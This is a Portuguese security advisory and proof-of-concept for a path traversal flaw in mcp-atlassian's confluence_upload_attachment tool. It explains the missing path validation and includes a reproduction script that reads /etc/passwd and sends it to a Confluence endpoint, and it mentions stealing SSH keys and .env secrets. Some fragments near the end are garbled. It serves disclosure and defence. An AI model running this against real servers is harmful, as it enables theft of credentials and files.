
Prova de conceito de exploit para leitura arbitrária de arquivos no mcp-atlassian via path traversal em confluence_upload_attachment, com análise e scripts de reprodução.
Gravidade: Alta (CVSS 8.6)
CWE: CWE-22 — Path Traversal
Afetado: sooperset/mcp-atlassian < 0.22.0
Corrigido em: 0.22.0
Aviso: GHSA-p6hp-93wp-fh6p
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77262
Crédito: Romain Deperne
A ferramenta MCP confluence_upload_attachment passa seu argumento file_path diretamente para open(file_path, "rb") sem validação de caminho. Um atacante que consiga invocar a ferramenta lê arquivos arbitrários do sistema de arquivos do servidor e os exfiltra via upload multipart para um endpoint Confluence controlado pelo atacante. O transporte padrão streamable-http vincula sem autenticação, tornando isso explorável remotamente sem credenciais.
0.0.0.0Este é o gêmeo simétrico do lado de leitura do GHSA-xjgw-4wvw-rgm4 corrigido anteriormente — a correção da v0.17.0 cobriu apenas o caminho de escrita/download. O caminho de upload ficou sem proteção.
O mcp-atlassian já havia recebido uma correção de path traversal na v0.17.0 (GHSA-xjgw-4wvw-rgm4), que corrigiu o caminho de escrita — download de anexos para o disco local. Minha hipótese: quando uma correção é aplicada a uma direção de uma operação simétrica, a outra direção frequentemente é esquecida.
A revisão dos pontos de chamada open( em attachments.py mostrou que o caminho de download chamava validate_safe_path(local_path) antes de abrir um arquivo, enquanto o caminho de upload não o fazia. As duas direções tinham validação de caminho inconsistente.
A definição da ferramenta confirmou isso: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] sem restrição pattern=, sem validador, nada. O campo é literalmente documentado como aceitando um caminho absoluto sem nenhuma restrição.
Reproduzi de ponta a ponta: iniciei o processo real do servidor mcp-atlassian, dirigi-o com um cliente MCP stdio (mcp.ClientSession), apontei-o para um stub HTTP Confluence simulado local e invoquei confluence_upload_attachment com file_path=/etc/passwd. O servidor simulado registrou o conteúdo completo de /etc/passwd no corpo multipart. Duas execuções completas de reprodução, ambas registradas nos arquivos PoC.
O vínculo padrão HOST=0.0.0.0 sem autenticação torna isso explorável remotamente sem credenciais na implantação padrão.
Arquivo: src/mcp_atlassian/confluence/attachments.py, linha 477
with open(file_path, "rb") as fp: # ← file_path é controlado pelo atacante
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
Definição da ferramenta (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# Sem pattern=, sem validador, sem validate_safe_path()
A assimetria com o caminho de download corrigido:
# attachments.py:223 — CORRIGIDO (caminho de download)
validate_safe_path(local_path) # ← proteção adicionada na v0.17.0
open(local_path, "wb")
# attachments.py:477 — VULNERÁVEL (caminho de upload)
open(file_path, "rb") # ← sem proteção, esquecido na v0.17.0
A correção da v0.17.0 para o GHSA-xjgw-4wvw-rgm4 adicionou chamadas validate_safe_path() no lado de escrita (download de anexos para o disco local), mas não auditou o lado de leitura (upload de arquivos locais para o Confluence). O decorador check_write_access não está relacionado — ele apenas controla o READ_ONLY_MODE.
Exposição de rede padrão (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # vincula todas as interfaces
# sem camada de autenticação no transporte streamable-http
Totalmente reproduzido de ponta a ponta contra um stub HTTP local simulando a API do Confluence. Consulte mcp_client.py, mock_confluence.py e poc_run1.sh.
# poc_run1.sh — lê /etc/passwd via confluence_upload_attachment
# 1. Inicia o endpoint Confluence simulado
python mock_confluence.py &
# 2. Invoca a ferramenta MCP com payload de path traversal
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → o conteúdo de /etc/passwd aparece no log de mock_confluence.py
/etc/passwd, chaves SSH, .env, segredos de aplicação)streamable-http vincula 0.0.0.0, sem autenticação; qualquer atacante com acesso à rede pode invocar ferramentas MCP diretamente